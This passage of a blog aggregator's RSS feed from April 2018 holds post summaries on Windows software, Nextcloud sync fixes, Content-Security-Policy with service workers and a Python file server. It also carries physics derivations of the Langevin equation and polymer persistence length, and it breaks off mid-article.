This is a pretty refreshing take.</description><author>Yasha Solutions</author><pubDate>Tue, 24 Apr 2018 23:10:39 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/should-everybody-learn-to-code/</guid></item><item><title>Ancestral voices prophesying war!</title><link>https://mbutler.org/ancestral-voices-prophesying-war/</link><description>A forest reading of the classic Samuel Taylor Coleridge poem, Kubla Khan</description><author>mbutler</author><pubDate>Tue, 24 Apr 2018 21:52:28 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/ancestral-voices-prophesying-war/</guid></item><item><title>Avoiding The Infosec Extinction Part 2.</title><link>https://blog.eutopian.io/avoiding-the-infosec-extinction-part-2./</link><description>1600 words, 8 minutes.
Turning Up The Magnification  Three lens microscope for simultaneous observations. 1882
This is the second of a short series of posts about the Cyber Security market. This market is interesting now because I believe it&amp;rsquo;s at a juncture where we can choose one of two possible futures. We being the product builders, investors, and customers. In the previous postI presented you with a choice. A choice between a beautiful fantasy, and practical reality.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Tue, 24 Apr 2018 21:38:04 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/avoiding-the-infosec-extinction-part-2./</guid></item><item><title>From Idea to MVP in a Saturday Night</title><link>https://ferrucc.io/posts/6-dollar-mvp/</link><description>&lt;p&gt;Every time you finish writing a blog post you get that feeling that it&amp;rsquo;s not ready to post it.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s time for proofreading, but it&amp;rsquo;s painful to proofread your own writings.&lt;/p&gt;
&lt;p&gt;What is fun instead is reading someone else&amp;rsquo;s writings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So how great would it be if you could post your drafts somewhere, read and comment a couple of blog posts by people with your same interests, while your own get proofread by people like you?&lt;/strong&gt;&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Tue, 24 Apr 2018 19:46:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/6-dollar-mvp/</guid></item><item><title>My Favorite Windows Software</title><link>https://www.mikekasberg.com/blog/2018/04/24/my-favorite-windows-software.html</link><description>&lt;p&gt;I recently had to reinstall Windows on one of my personal computers. Although I
hardly ever use Windows anymore, I keep it around in case I need to run some
software that isn’t compatible with Linux (my primary OS).&lt;/p&gt;

&lt;p&gt;After reinstalling Windows, I needed to re-install all my favorite programs so
things are there when I need them. In the process, I kept a short list of all
the Windows software I like to have installed. Most of it is free or open
source, so have a look. Maybe you’ll find something useful.&lt;/p&gt;

&lt;!--more--&gt;
&lt;h2 id="general-software"&gt;General Software&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.google.com/chrome"&gt;Google Chrome&lt;/a&gt; is probably the first software
I install on any new computer. If you’re still using the default browser that
comes with Windows, try Chrome. You’ll probably like it.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.getfirefox.com/"&gt;Mozilla Firefox&lt;/a&gt; is also very good if you want a 
browser that isn’t owned by Google.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.videolan.org/"&gt;VLC Media Player&lt;/a&gt; will play pretty much any media
format you throw at it. I set pretty much all media file types to open in VLC
when I double-click on them.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://get.adobe.com/reader/"&gt;Adobe Reader&lt;/a&gt;, because you’ll probably need it.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.7-zip.org/"&gt;7-zip&lt;/a&gt; is a great program for working with archives.
But probably its best feature is that it adds “Extract Here” to your
right-click menu.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://keepassxc.org/"&gt;KeePassXC&lt;/a&gt; is a good password manager that works on
pretty much any OS.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="image-and-video-software"&gt;Image and Video Software&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.getpaint.net/"&gt;Paint.Net&lt;/a&gt; is a replacement for MS Paint that
makes basic image editing tasks really quick &amp;amp; easy.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.gimp.org/"&gt;GIMP&lt;/a&gt; is like the free version of Photoshop. It can
handle much more than Paint.NET, but it’s also more complex.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://getgreenshot.org/"&gt;Greenshot&lt;/a&gt; is a screenshot tool on steroids.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="development-software"&gt;Development Software&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://atom.io"&gt;Atom&lt;/a&gt; is the free &amp;amp; open-source text editor from Github.
It’s a great tool to have, since it supports (or has plugins for) most
languages, and is completely free.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://notepad-plus-plus.org/"&gt;Notepad++&lt;/a&gt; was my default editor for years,
and I still like having it around. It’s great for quick text edits where I
don’t want or need a more complete environment like Atom.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://git-scm.com/download/win"&gt;Git&lt;/a&gt; is an obvious necessity on any development
machine.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/download.html"&gt;PuTTY&lt;/a&gt; will
let you SSH from your windows machine. Critical if you’re working with Linux
servers.&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://filezilla-project.org/"&gt;FileZilla&lt;/a&gt; is an easy to use FTP client.&lt;/li&gt;
&lt;/ul&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Tue, 24 Apr 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/04/24/my-favorite-windows-software.html</guid></item><item><title>Nextcloud – what to do when sync fail</title><link>https://yasha.solutions/nextcloud-what-to-do-when-sync-fail/</link><description>Just try these steps
  occ ‘files:scan –all’ occ ‘files:cleanup’ if already solved stop where, if not proceed with step 4 occ ‘maintenance:mode –on’ sign in to your mysql db and run: “delete from oc_file_locks where 1;” occ ‘maintenance:mode –off’</description><author>Yasha Solutions</author><pubDate>Tue, 24 Apr 2018 11:48:19 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/nextcloud-what-to-do-when-sync-fail/</guid></item><item><title>PSA: Don't use approximate counts for trends</title><link>https://blog.harterrt.com/hll_trends.html</link><description>&lt;p&gt;I got caught giving some bad advice this week,
so I decided to share here as penance.
TL;DR: Probabilistic counts are great,
but they shouldn't be used everywhere.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Counting stuff is hard.
We use probabilistic algorithms pretty frequently at Mozilla.
For example, when trying to get user counts,
we …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Tue, 24 Apr 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/hll_trends.html</guid></item><item><title>Vignettes - Good Fight</title><link>https://rjp.is/blogging/posts/vignette-good-fight/</link><description>In which we excerpt some 'The Good Fight' vignettes.</description><author>infrequent oscillations</author><pubDate>Tue, 24 Apr 2018 08:07:54 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/vignette-good-fight/</guid></item><item><title>On USC's CSCI-350 (Operating Systems)</title><link>https://blog.jonlu.ca/posts/on-uscs-csci-350-operating-systems</link><description/><author>JonLuca's Blog</author><pubDate>Tue, 24 Apr 2018 06:10:25 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/on-uscs-csci-350-operating-systems</guid></item><item><title>Content-Security-Policy and service workers</title><link>https://qubyte.codes/blog/content-security-policy-and-service-workers</link><description>&lt;p&gt;I was recently tripped over by a subtlety in how service worker fetch events
and fetch works in conjunction with content security policy (CSP). This happened
while adding an image to the &lt;a href="/about"&gt;about&lt;/a&gt; page. This post is the result of
&lt;a href="https://twitter.com/jaffathecake/status/988402162312114177"&gt;a conversation I had with Jake Archibald&lt;/a&gt; on twitter (with thanks for
helping me to understand what was going on).&lt;/p&gt;
&lt;p&gt;When I originally built this blog I set the content security policy (omitting
policies which aren't pertinent):&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-properties"&gt;&lt;span class="hljs-attr"&gt;Content-Security-Policy&lt;/span&gt;: &lt;span class="hljs-string"&gt;default-src &amp;#x27;self&amp;#x27;; img-src *;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This sets the policy for all requests to be limited to the same domain, except
for images which may come from anywhere. I set it like this since images may
come from a content delivery network (CDN). This means other domain names could
be used, even for my own images.&lt;/p&gt;
&lt;p&gt;Until now this blog has had no images at all, so no issues with this content
security policy with respect to images were obvious.&lt;/p&gt;
&lt;p&gt;When I added an image the browser refused to load it. Firefox wasn't much help
here, but Chrome gave me a useful error message in the console (the URL is
omitted for brevity):&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-plaintext"&gt;Refused to connect to &amp;#x27;&amp;lt;URL&amp;gt;&amp;#x27; because it violates the following Content Security Policy directive: &amp;quot;default-src &amp;#x27;self&amp;#x27;&amp;quot;. Note that &amp;#x27;connect-src&amp;#x27; was not explicitly set, so &amp;#x27;default-src&amp;#x27; is used as a fallback.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This error was being thrown from a fetch performed by the service worker. With
the worker bypassed, the image loaded as expected. The error above was trying to
tell me that the request for the image within the worker was happening under
a different security policy to that expected. Specifically, the worker is using
the &lt;code&gt;connect-src&lt;/code&gt; policy when performing the request for the image, and not the
&lt;code&gt;image-src&lt;/code&gt; policy I expected. &lt;code&gt;connect-src&lt;/code&gt; is the policy used by &lt;em&gt;scripts&lt;/em&gt;
making requests. Since I don't define a &lt;code&gt;connect-src&lt;/code&gt; policy, the fallback is
&lt;code&gt;default-src&lt;/code&gt;, which is limited to the domain of the site, and does not allow an
image to be downloaded from a CDN.&lt;/p&gt;
&lt;p&gt;There is a quick solution, which is to add a &lt;code&gt;connect-src *;&lt;/code&gt; policy. By
limiting this policy to the service worker, no other scripts will get to make
requests to anywhere. The Netlify config for this looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-toml"&gt;&lt;span class="hljs-section"&gt;[[headers]]&lt;/span&gt;
  &lt;span class="hljs-attr"&gt;for&lt;/span&gt; = &lt;span class="hljs-string"&gt;&amp;quot;/sw.js&amp;quot;&lt;/span&gt;
  &lt;span class="hljs-section"&gt;[headers.values]&lt;/span&gt;
    &lt;span class="hljs-attr"&gt;Content-Security-Policy&lt;/span&gt; = &lt;span class="hljs-string"&gt;&amp;quot;connect-src *;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;But what's actually going on here? I was confused because I had expected
the fetch performed inside the worker to be subject to the &lt;code&gt;image-src&lt;/code&gt; policy.
I even checked that the &lt;a href="https://fetch.spec.whatwg.org/#concept-request-initiator"&gt;initiator&lt;/a&gt; and &lt;a href="https://fetch.spec.whatwg.org/#concept-request-destination"&gt;destination&lt;/a&gt; of
the request in the fetch event handler were for an image.&lt;/p&gt;
&lt;p&gt;The fetch event and handler looks something like the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title function_"&gt;addEventListener&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;fetch&amp;#x27;&lt;/span&gt;, &lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;fetchEvent&lt;/span&gt; =&amp;gt;&lt;/span&gt; {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; responseFromFetch = &lt;span class="hljs-title function_"&gt;fetch&lt;/span&gt;(fetchEvent.&lt;span class="hljs-property"&gt;request&lt;/span&gt;);

  &lt;span class="hljs-comment"&gt;// Other stuff omitted...&lt;/span&gt;
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'm effectively proxying the request. I've omitted a bunch of stuff to do with
caching.&lt;/p&gt;
&lt;p&gt;When fetch is called with a request object, the URL of the request is used to
make an entirely &lt;a href="https://fetch.spec.whatwg.org/#fetch-method"&gt;new request before processing&lt;/a&gt; it. This new request
lacks information about the initiator and destination, and so it is subject to
the &lt;code&gt;connect-src&lt;/code&gt; policy.&lt;/p&gt;
&lt;p&gt;This seemed bad to me at first. CSP being different with and without a service
worker would be bad because you'd have to test both each time a new resource
type is added.&lt;/p&gt;
&lt;p&gt;Fortunately, it turns out that the browser also performs CSP checks on the
request &lt;em&gt;before&lt;/em&gt; the service worker receives the fetch event and on the response
it receives from the service worker (important if the worker changes a URL,
which I'm not doing). Restating for the example of an image, these three checks
are made:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The initial request for is checked for &lt;code&gt;image-src&lt;/code&gt; violation.&lt;/li&gt;
&lt;li&gt;A request with the same URL is checked in the  service worker for &lt;code&gt;connect-src&lt;/code&gt; violation.&lt;/li&gt;
&lt;li&gt;The response from the service worker is checked for &lt;code&gt;image-src&lt;/code&gt; violation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This means that I'm safe with the &lt;code&gt;connect-src *;&lt;/code&gt; policy for the service worker
mentioned above, since the browser was already applying the &lt;code&gt;image-src&lt;/code&gt; policy
to image requests before the service worker saw them!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Tue, 24 Apr 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/content-security-policy-and-service-workers</guid></item><item><title>Bitlbee: Slack, Hangouts &amp;amp; Facebook via IRC gateway</title><link>https://blog.nobugware.com/post/2018/bitlbee_slack_hangouts_facebook_irc_gateway/</link><description>Having multiple clients to handle multiple networks is a mess, especially the Slack client which is really heavy and annoying.
Slack is deprecating its IRC gateway interface on May 15h 2018.
Bitlbee is an IRC server working as a gateway to different IMs.
Optionally Bitlbee can be compiled with LibPurple to support even more networks, like Slack and Hangouts.
Here are some notes for Slack, Facebook and Hangouts to be enabled with Bitlbee.</description><author>Fabrice Aneche</author><pubDate>Mon, 23 Apr 2018 21:37:14 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2018/bitlbee_slack_hangouts_facebook_irc_gateway/</guid></item><item><title>The Shape of Water</title><link>https://olshansky.info/movie/the_shape_of_water/</link><description>Olshansky's review of The Shape of Water</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 23 Apr 2018 15:42:06 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_shape_of_water/</guid></item><item><title>Python SimpleHTTPServer to serve a directory</title><link>https://boyter.org/posts/python-simplehttpserver/</link><description>&lt;p&gt;Something I always forget and have to search for is how to use Python to serve a directory for local testing and the like. Including it below so I have a copy I can always easily look it up.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m SimpleHTTPServer 8090
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and in Python 3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m http.server
&lt;/code&gt;&lt;/pre&gt;</description><author>Ben E. C. Boyter</author><pubDate>Mon, 23 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/python-simplehttpserver/</guid></item><item><title>The Langevin Equation</title><link>https://rachitsingh.com/ornstein-uhlenbeck/</link><description>&lt;p&gt;This post covers the &lt;a href="https://en.wikipedia.org/wiki/Langevin_equation"&gt;Langevin equation&lt;/a&gt;, a stochastic differential equation that models the dynamics of particles in Brownian motion&lt;sup class="footnote-reference" id="fr-1-1"&gt;&lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;. This covers the ideas used in &lt;a href="http://physics.gu.se/~frtbm/joomla/media/mydocs/LennartSjogren/kap6.pdf"&gt;this reference&lt;/a&gt; due to Lennart Sjögren.&lt;/p&gt;
&lt;h2 id="langevin-equation"&gt;Langevin Equation&lt;/h2&gt;
&lt;p&gt;In 1907 Einstein published a paper that derived a &lt;em&gt;macroscopic quantity&lt;/em&gt; $D$, the diffusion constant, with &lt;em&gt;microscopic quantities&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;$$D = \frac{k_BT}{6\pi\eta a}$$&lt;/p&gt;
&lt;p&gt;where $\eta$ is the viscosity of the liquid and $a$ is the radius of the particle. In 1908 Langevin &lt;a href="https://www.physik.uni-augsburg.de/theo1/hanggi/History/Langevin1908.pdf"&gt;derived the same result&lt;/a&gt; using Stoke's law to note that the drag on a particle is $\gamma = 6\pi \eta a$, so that we can write the equations of motion as:&lt;/p&gt;
&lt;p&gt;$$m\frac{d^2x}{dt^2} = -\gamma \frac{dx}{dt} + \xi$$&lt;/p&gt;
&lt;p&gt;for some noisy force $\xi$. The argument, which is given in the linked paper, relies on the fact that we can multiply by $x$, and take the average over all the particles. This gives us a term $\overline{\xi x}$, which Langevin claimed is 0. This 'averaging' lets him work in variance-space, which leads to a result about the second moment of the group of particles: $\overline{x^2} - \overline{x_0^2} = 2Dt$, using Einstein's $D$, which is the the same as the definition of $D$. The averaging procedure is a bit sketchy, and &lt;a href="https://arxiv.org/pdf/physics/0502141.pdf"&gt;some people&lt;/a&gt; have noted the handwave. Our goal is to put this on a surer footing.&lt;/p&gt;
&lt;h2 id="stochastic-differential-equations"&gt;Stochastic Differential Equations&lt;/h2&gt;
&lt;p&gt;An ordinary differential equation might look like $y'(t) = f(y(t))$, or $dy(t) = f(y(t)) dt$ in differential form. If we want to model a process with &lt;em&gt;noise&lt;/em&gt;, we might add a Brownian motion increment $\sigma dB_t$ to get:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
dy_t &amp;amp;= f(y(t))dt + \sigma dB_t \\
y_t &amp;amp;= \int_0^t f(y(t)) dt + \sigma B_t
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;This is a regular integral because $\sigma$ doesn't depend on time, but the end result is a stochastic process (i.e. a collection of random variables indexed here by time). We can of course generalize this as much as we'd like, including letting $\sigma$ be a function of $y$ or $t$, which would necessitate a stochastic integral, but luckily we don't need to just yet (that'll come later).&lt;/p&gt;
&lt;p&gt;In our case, we can write the Langevin equation as:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\frac{dx_t}{dt} &amp;amp;= v_t \\
\frac{dv_t}{dt} &amp;amp;= -\frac{\gamma}{m}v_t + \frac{1}{m}\xi_t \\
\implies dv_t &amp;amp;= -\frac{\gamma}{m}v_t dt + \frac{1}{m}\xi_t dt
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;In application, we can note the following facts: $\mathbb{E}[\xi(t)] = 0$, and $\mathbb{E}[\xi(t_1)\xi(t_2)] = g\delta(t_1 - t_2)$. The first statement says that the force has 0 mean. The second says that it is totally uncorrelated with some variance $g$ at any given point. This assumption is realistic because the particles considered are being hit by other particles many billions of times a second. Finally, we can make the (fairly strong) assumption that the force applied at each time comes from a Gaussian distribution with the moments implied by the previous facts&lt;sup class="footnote-reference" id="fr-2-1"&gt;&lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fn-2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Then, $\xi(t)$ satisfies the definition of a &lt;em&gt;Gaussian white noise&lt;/em&gt;. Then we can confidently approach its integral as a Wiener process (or Brownian motion process). We can also get this from &lt;a href="https://en.wikipedia.org/wiki/Donsker%27s_theorem"&gt;Donsker's theorem&lt;/a&gt; I think, though I'm not sure about the details. Letting $U_t = \int_0^t \xi_s ds$, we finally have the SDE for an Ornstein-Uhlenbeck process&lt;sup class="footnote-reference" id="fr-3-1"&gt;&lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fn-3"&gt;3&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;p&gt;$$dv_t = -\frac{\gamma}{m} v_t dt + \frac{1}{m}dU_t$$&lt;/p&gt;
&lt;p&gt;which we can integrate by applying &lt;a href="https://en.wikipedia.org/wiki/It%C3%B4%27s_lemma"&gt;Ito's formula&lt;/a&gt; in the following way:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
de^{\gamma t/m}v_t &amp;amp;= \left(\frac{\gamma}{m}e^{\gamma t/m}v_t dt + e^{\gamma t/m}dv_t\right) \\
&amp;amp;= \frac{1}{m}e^{\gamma t/m} dU_t \\
\implies e^{\gamma t/m}v_t &amp;amp;= v_0 + \frac{1}{m}\int_0^t e^{\gamma s/m} dU_s \\
v_t &amp;amp;= v_0e^{-\gamma t/m} + \frac{1}{m}\int_0^t e^{-\gamma (t - s)/m} dU_s \\
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;This is in some sense the 'solution' to the Langevin equation, but our goal is to rederive the results in the Langevin paper almost &lt;em&gt;de novo&lt;/em&gt;. Clearly from this result the expectation is just $v_0e^{-\gamma t/m}$ (which decays to 0), since $U_s$ the Wiener process has mean 0. However, for the second moment (from which we can compute the variance) we need to apply &lt;a href="https://en.wikipedia.org/wiki/It%C3%B4_isometry"&gt;Ito's isometry&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbb{E}[v_t^2] &amp;amp;= e^{-\gamma 2t/m}v_0^2 + g\mathbb{E}\left[\left(\frac{1}{m}\int_0^t e^{-(t - s)\gamma/m} dU_s\right)^2\right] \\
&amp;amp;= e^{-2\gamma t/m}v_0^2 + \frac{g}{m^2}\mathbb{E}\left[\int_0^t e^{-2(t - s)\gamma/m} ds\right] \\
&amp;amp;= e^{-2\gamma t/m}v_0^2 + \frac{g}{2\gamma m}\left[e^{-2(t - s)\gamma/m}\right]_0^t \\
&amp;amp;= e^{-2\gamma t/m}v_0^2 + \frac{g}{2\gamma m}\left(1 - e^{-2\gamma t/m}\right) \\
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;Now, as $t \to \infty$, we'd expect $\mathbb{E}[v_t^2] = k_BT/m$ (from equipartition), and the limit of the above result is $g/2\gamma m$, so we can conclude that:&lt;/p&gt;
&lt;p&gt;$$g = 2\gamma k_B T$$&lt;/p&gt;
&lt;p&gt;Finally, we can use this to derive the dynamics of the particle itself (as a stochastic process, of course):&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
x_t &amp;amp;= \int_0^t v_s ds \\
&amp;amp;= \int_0^t \left(v_0e^{-\gamma s/m} + \frac{1}{m}\int_0^s e^{-\gamma (s - u)/m} dU_u\right) ds \\
&amp;amp;= x_0 + \frac{\gamma}{m}v_0\left[1 - e^{-\gamma t/m}\right] + \frac{1}{m} \int_0^t \left(\int_u^t e^{-\gamma(s - u) / m} ds\right) dU_u \\
&amp;amp;= x_0 + \frac{\gamma}{m}v_0\left[1 - e^{-\gamma t/m}\right] + \frac{1}{\gamma} \int_0^t \left[1 - e^{-\gamma(t - u)/m}\right] dU_u
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;and again apply Ito's isometry to get the second moment (here, I drop the leading terms which go to 0 as $t \to \infty$):&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbb{E}[(x_t - x_0)^2] &amp;amp;= \left(\text{terms that go to 0} \ldots \right) + \frac{1}{\gamma^2}\mathbb{E}\left[\left(\int_0^t \left[1 - e^{-(t - u)\gamma/m}\right] dU_u\right)^2\right] \\
&amp;amp;= \frac{g}{\gamma^2} \int_0^t\left[1 - e^{-\gamma(t - s)/m}\right]^2 ds \\
&amp;amp;= \left(\text{terms that go to 0} \ldots \right) + \frac{g}{\gamma^2}\left[t - \frac{m}{\gamma}\left(1 - e^{-t\gamma/m}\right)\right] \
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;So, in the long run, the variance grows as $\mathbb{E}[(x_t - x_0)^2] = \frac{2k_BT}{\gamma} t$. Comparing this to the diffusion equation which says that this should grow as $2Dt$, we get that&lt;/p&gt;
&lt;p&gt;$$D = \frac{k_BT}{\gamma}$$&lt;/p&gt;
&lt;p&gt;which is Einstein's result.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le Gall, Jean-François. Brownian motion, martingales, and stochastic calculus. Vol. 274. Heidelberg: Springer, 2016.&lt;/p&gt;
&lt;p&gt;Sjögren, Lennart. Stochastic Processes lecture notes ch. 6: &lt;em&gt;Brownian Motion: Langevin Equation&lt;/em&gt;. Retrieved from &lt;a href="http://physics.gu.se/~frtbm/joomla/media/mydocs/LennartSjogren/kap6.pdf"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Next: The &lt;a href="https://en.wikipedia.org/wiki/Feynman%E2%80%93Kac_formula"&gt;Feynman-Kac Formula&lt;/a&gt; which definitely has applications in statistics.&lt;/p&gt;
&lt;!-- Another attempt we can make is to note that we sort of know the distribution of particles that arrive to impart a momentum: a particle with velocity $v$ comes with probability $\propto \exp(-mv^2/2k_BT)$ (which is a Gaussian distribution in $v$). Since the total momentum divided by $dt$ is the force applied (and the momentum is a constant times $v$ because of reflection angles, etc.), the distribution of the force $\xi(t)$ is also Gaussian. --&gt;
&lt;footer class="footnotes"&gt;
&lt;ol class="footnotes-list"&gt;
&lt;li id="fn-1"&gt;
&lt;p&gt;This is pretty related to &lt;em&gt;stochastic gradient Langevin dynamics&lt;/em&gt; (&lt;a href="https://www.ics.uci.edu/~welling/publications/papers/stoclangevin_v6.pdf"&gt;see here&lt;/a&gt;) I think. I don't think I know that paper well enough or the surrounding background in (Neal, 2010) to comment intelligently yet, but something I hope to get to soon. My understanding is that Langevin dynamics are essentially the above system, but with a driving force (maybe the gradient of the loss?). &lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fr-1-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn-2"&gt;
&lt;p&gt;One attempt to justify that the distribution of $\xi(t)$ at each time must be Gaussian is the following: we let $dt$ be large enough that hundreds of collisions still happen. No matter the distribution that that comes from, since the variables are i.i.d. we can apply the regular central limit theorem (CLT) to show that the overall force converges in distribution to a Gaussian. &lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fr-2-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn-3"&gt;
&lt;p&gt;Actually, Ornstein &lt;a href="http://216.92.172.113/courses/phys39/simulations/Uhlenbeck%20Brownian%20Motion%20Phys%20Rev%201930.pdf"&gt;developed&lt;/a&gt; these methods in order to formalize Langevin's arguments. I've linked a review paper from 1930, but the first version was published in 1917, I think. &lt;a href="https://rachitsingh.com/ornstein-uhlenbeck/#fr-3-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/footer&gt;</description><author>Rachit Singh</author><pubDate>Mon, 23 Apr 2018 01:57:21 GMT</pubDate><guid isPermaLink="true">https://rachitsingh.com/ornstein-uhlenbeck/</guid></item><item><title>UX Design – Improve yourself</title><link>https://yasha.solutions/ux-design-improve-yourself/</link><description>Practice makes perfect.
Or at least, it does help improve your skills.
It does make you a better designer.
A better problem solver.
A better engineer.
A better maker.
Just better.
Here are some resources to up your game.
1. Designercize Fancy designing a sortable list view for a habit-tracking app to help film snobs?
Or how about designin dashboard for a smart home watering system, to help social media managers?</description><author>Yasha Solutions</author><pubDate>Sun, 22 Apr 2018 20:06:01 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/ux-design-improve-yourself/</guid></item><item><title>Persistence Length</title><link>https://rachitsingh.com/persistence-length/</link><description>&lt;p&gt;In class we recently discussed the simplified elastic rod model for polymers, which assumes that polymers can be modeled as an &lt;em&gt;inextensible rod&lt;/em&gt;, i.e. that the length of the rod doesn't change, and that the twist of the polymer is ignorable (possibly because the polymer is joined by single bonds). I want to give a short proof of the statement that the &lt;em&gt;tangent-tangent correlation function&lt;/em&gt;, i.e. the autocorrelation of the polymer at some distance $x$, is exponentially decaying &lt;sup class="footnote-reference" id="fr-1-1"&gt;&lt;a href="https://rachitsingh.com/persistence-length/#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h2 id="model-setup"&gt;Model setup&lt;/h2&gt;
&lt;p&gt;We let the polymer be of length $L$, with $s \in [0, L]$ denoting the position of interest along the polymer. At each position $s$, we have a unit tangent vector $\mathbf{t}(s)$. In the simplified elastic rod model, it's important to understand the forces at work: first, given a particular configuration of the polymer, there's an energy corresponding to it, from the potential energy of the bending of the polymer. We argue that this energy is quadratic in the amount of the bend since locally it's stiff, and stiff rods essentially follow Hooke's law. We can measure 'the amount of bend' as $d\mathbf{t}(s)/ds$, so in this model we have:&lt;/p&gt;
&lt;div&gt;
$$dE = \frac{1}{2}k_BT \left(A \left|\frac{d\mathbf{t}(s)}{ds}\right|^2\right) ds$$
&lt;/div&gt;
&lt;p&gt;here, $A$ is an introduced constant with units of length. For any configuration $\omega$ of the polymer we can integrate this to get the total potential energy $E(\omega)$.&lt;/p&gt;
&lt;p&gt;Second, there's &lt;em&gt;entropy&lt;/em&gt;, which comes from the temperature. For long ropes this is negligible, but for polymers a few nanometers wide in solution this is very significant. The model uses the standard method of applying the Boltzmann distribution - i.e. for each configuration $\omega$ with potential energy $E(\omega)$ the probability of being found in that configuration is:&lt;/p&gt;
&lt;div&gt;
$$p(\omega) \propto e^{-E(\omega)/k_BT}$$
&lt;/div&gt;
&lt;p&gt;In fact, that's all we really need to set this up.&lt;/p&gt;
&lt;h2 id="argument"&gt;Argument&lt;/h2&gt;
&lt;p&gt;The most important thing here is to draw a very clear picture. We're going to consider 3 positions $A, B, C$ along the polymer, in that order, and consider the tangent-tangent correlation between $A$ and $C$, which is $\mathbf{t}(A) \cdot \mathbf{t}(C)$. The key step here is to set up an axis where $\mathbf{t}(B)$ is on the $z$-axis, and $\mathbf{t}(A)$ is aligned with the $x$-axis, (i.e. a spherical coordinate system):&lt;/p&gt;
